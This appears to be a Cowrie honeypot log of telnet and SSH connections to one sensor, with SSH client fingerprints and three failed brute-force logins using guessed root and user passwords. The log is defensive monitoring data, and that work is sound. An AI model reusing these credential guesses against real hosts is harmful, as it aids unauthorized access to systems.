{"eventid":"cowrie.session.closed","duration":45.757290840148926,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:44.303809Z","src_ip":"192.119.13.58","session":"ccae8e421950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.978158712387085,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:47.427815Z","src_ip":"192.119.13.58","session":"0b77475a0f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.835888385772705,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:48.249381Z","src_ip":"192.119.13.58","session":"f9ea2574ebcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16445803642273,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:48.570647Z","src_ip":"192.119.13.58","session":"78677008441c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56514,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5f44ae4891","protocol":"telnet","message":"New connection: 192.119.13.58:56514 (10.17.0.5:23) [session: 8f5f44ae4891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:50.963203Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"243d6c47d037","protocol":"telnet","message":"New connection: 192.119.13.58:40216 (10.17.0.5:23) [session: 243d6c47d037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:52.922658Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"670fd674e5a4","protocol":"telnet","message":"New connection: 192.119.13.58:46464 (10.17.0.5:23) [session: 670fd674e5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:54.404694Z"}
{"eventid":"cowrie.session.closed","duration":35.027241230010986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:54.836541Z","src_ip":"192.119.13.58","session":"524e5fd5a0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.39988851547241,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:57.598790Z","src_ip":"192.119.13.58","session":"f73c578587b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37254,"dst_ip":"10.17.0.5","dst_port":23,"session":"9107ae66484d","protocol":"telnet","message":"New connection: 192.119.13.58:37254 (10.17.0.5:23) [session: 9107ae66484d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:39:58.941602Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50392,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ab69cc579d","protocol":"telnet","message":"New connection: 192.119.13.58:50392 (10.17.0.5:23) [session: 26ab69cc579d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:03.123238Z"}
{"eventid":"cowrie.session.closed","duration":42.292991399765015,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:07.560949Z","src_ip":"192.119.13.58","session":"9185f77f0f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.88095283508301,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:08.443983Z","src_ip":"192.119.13.58","session":"a95209afc36e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55222,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2957ecebe52","protocol":"telnet","message":"New connection: 192.119.13.58:55222 (10.17.0.5:23) [session: d2957ecebe52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:10.356998Z"}
{"eventid":"cowrie.session.closed","duration":0.005081892013549805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:10.361943Z","src_ip":"192.119.13.58","session":"d2957ecebe52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.97132444381714,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:16.416356Z","src_ip":"192.119.13.58","session":"b25867adcdf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.835166931152344,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:19.626876Z","src_ip":"192.119.13.58","session":"93938a98428c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.730656147003174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:21.511317Z","src_ip":"192.119.13.58","session":"f1d5e5315812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.607760429382324,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:23.570840Z","src_ip":"192.119.13.58","session":"8f5f44ae4891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36804,"dst_ip":"10.17.0.5","dst_port":23,"session":"81aad204a9c2","protocol":"telnet","message":"New connection: 192.119.13.58:36804 (10.17.0.5:23) [session: 81aad204a9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:26.918052Z"}
{"eventid":"cowrie.session.closed","duration":35.89159822463989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:28.814178Z","src_ip":"192.119.13.58","session":"243d6c47d037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f5a6ba4fc13","protocol":"telnet","message":"New connection: 192.119.13.58:46492 (10.17.0.5:23) [session: 5f5a6ba4fc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:29.287998Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"971366c00043","protocol":"telnet","message":"New connection: 192.119.13.58:49484 (10.17.0.5:23) [session: 971366c00043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:30.087685Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55270,"dst_ip":"10.17.0.5","dst_port":23,"session":"222a5ffb630f","protocol":"telnet","message":"New connection: 192.119.13.58:55270 (10.17.0.5:23) [session: 222a5ffb630f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:31.510816Z"}
{"eventid":"cowrie.session.closed","duration":50.43632411956787,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:31.808841Z","src_ip":"192.119.13.58","session":"11513629c1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.610673904418945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:36.733789Z","src_ip":"192.119.13.58","session":"26ab69cc579d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.226107358932495,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:39.167571Z","src_ip":"192.119.13.58","session":"9107ae66484d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.57392597198486,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:45.978501Z","src_ip":"192.119.13.58","session":"670fd674e5a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"788446d1e3cd","protocol":"telnet","message":"New connection: 192.119.13.58:59090 (10.17.0.5:23) [session: 788446d1e3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:53.421073Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42238,"dst_ip":"10.17.0.5","dst_port":23,"session":"81db8df1dca5","protocol":"telnet","message":"New connection: 192.119.13.58:42238 (10.17.0.5:23) [session: 81db8df1dca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:40:56.125074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33522,"dst_ip":"10.17.0.5","dst_port":23,"session":"818c07cf3b9f","protocol":"telnet","message":"New connection: 192.119.13.58:33522 (10.17.0.5:23) [session: 818c07cf3b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:00.669268Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35016,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f30bb81940","protocol":"telnet","message":"New connection: 192.119.13.58:35016 (10.17.0.5:23) [session: c4f30bb81940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:00.914720Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42508,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c61f2ea32a8","protocol":"telnet","message":"New connection: 192.119.13.58:42508 (10.17.0.5:23) [session: 0c61f2ea32a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:02.697654Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38408,"dst_ip":"10.17.0.5","dst_port":22,"session":"33233457e2e0","protocol":"ssh","message":"New connection: 80.94.92.184:38408 (10.17.0.5:22) [session: 33233457e2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:06.453898Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4003b45a7a","protocol":"telnet","message":"New connection: 192.119.13.58:59084 (10.17.0.5:23) [session: ed4003b45a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:06.541069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:06.545981Z","src_ip":"80.94.92.184","session":"33233457e2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:06.626790Z","src_ip":"80.94.92.184","session":"33233457e2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:07.435054Z","src_ip":"80.94.92.184","session":"33233457e2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.74128770828247,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:08.029152Z","src_ip":"192.119.13.58","session":"5f5a6ba4fc13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:08.709319Z","src_ip":"80.94.92.184","session":"33233457e2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.60746502876282,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:09.525452Z","src_ip":"192.119.13.58","session":"81aad204a9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50210,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c7d7c03e59","protocol":"telnet","message":"New connection: 192.119.13.58:50210 (10.17.0.5:23) [session: 15c7d7c03e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:09.706807Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32788,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c0d9ca62b5d","protocol":"telnet","message":"New connection: 192.119.13.58:32788 (10.17.0.5:23) [session: 7c0d9ca62b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:12.558362Z"}
{"eventid":"cowrie.session.closed","duration":46.473928451538086,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:16.561506Z","src_ip":"192.119.13.58","session":"971366c00043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.226187229156494,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:17.736867Z","src_ip":"192.119.13.58","session":"222a5ffb630f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b7b1f26057","protocol":"telnet","message":"New connection: 192.119.13.58:51052 (10.17.0.5:23) [session: a0b7b1f26057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:20.988412Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58604,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fd80fdb3a9c","protocol":"ssh","message":"New connection: 89.108.118.91:58604 (159.203.135.109:22) [session: 5fd80fdb3a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:23.234188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:23.243534Z","src_ip":"89.108.118.91","session":"5fd80fdb3a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:23.391375Z","src_ip":"89.108.118.91","session":"5fd80fdb3a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda626","message":"login attempt [root/mazda626] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:23.842767Z","src_ip":"89.108.118.91","session":"5fd80fdb3a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"142f19904190","protocol":"telnet","message":"New connection: 192.119.13.58:40818 (10.17.0.5:23) [session: 142f19904190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:24.451377Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:24.992606Z","src_ip":"89.108.118.91","session":"5fd80fdb3a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34994,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f5ecd4b113","protocol":"telnet","message":"New connection: 192.119.13.58:34994 (10.17.0.5:23) [session: 83f5ecd4b113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:29.547421Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51078,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45ed017a068","protocol":"telnet","message":"New connection: 192.119.13.58:51078 (10.17.0.5:23) [session: c45ed017a068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:33.473726Z"}
{"eventid":"cowrie.session.closed","duration":0.007836103439331055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:33.481460Z","src_ip":"192.119.13.58","session":"c45ed017a068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50136,"dst_ip":"159.203.135.109","dst_port":22,"session":"7205a9c36bb2","protocol":"ssh","message":"New connection: 194.113.233.25:50136 (159.203.135.109:22) [session: 7205a9c36bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:37.447135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:37.451883Z","src_ip":"194.113.233.25","session":"7205a9c36bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:37.546800Z","src_ip":"194.113.233.25","session":"7205a9c36bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shadow","message":"login attempt [root/shadow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:37.832018Z","src_ip":"194.113.233.25","session":"7205a9c36bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.51910400390625,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:37.940046Z","src_ip":"192.119.13.58","session":"788446d1e3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:38.929058Z","src_ip":"194.113.233.25","session":"7205a9c36bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.22459840774536,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:39.139185Z","src_ip":"192.119.13.58","session":"c4f30bb81940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16935992240906,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:39.838516Z","src_ip":"192.119.13.58","session":"818c07cf3b9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4884aa35853","protocol":"telnet","message":"New connection: 192.119.13.58:35308 (10.17.0.5:23) [session: f4884aa35853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:41.166577Z"}
{"eventid":"cowrie.session.closed","duration":39.36735677719116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:42.064863Z","src_ip":"192.119.13.58","session":"0c61f2ea32a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.98472833633423,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:42.109706Z","src_ip":"192.119.13.58","session":"81db8df1dca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41710,"dst_ip":"10.17.0.5","dst_port":23,"session":"28488bf38f32","protocol":"telnet","message":"New connection: 192.119.13.58:41710 (10.17.0.5:23) [session: 28488bf38f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:42.454686Z"}
{"eventid":"cowrie.session.closed","duration":33.661895990371704,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:41:46.220123Z","src_ip":"192.119.13.58","session":"7c0d9ca62b5d","protocol":"telnet"}
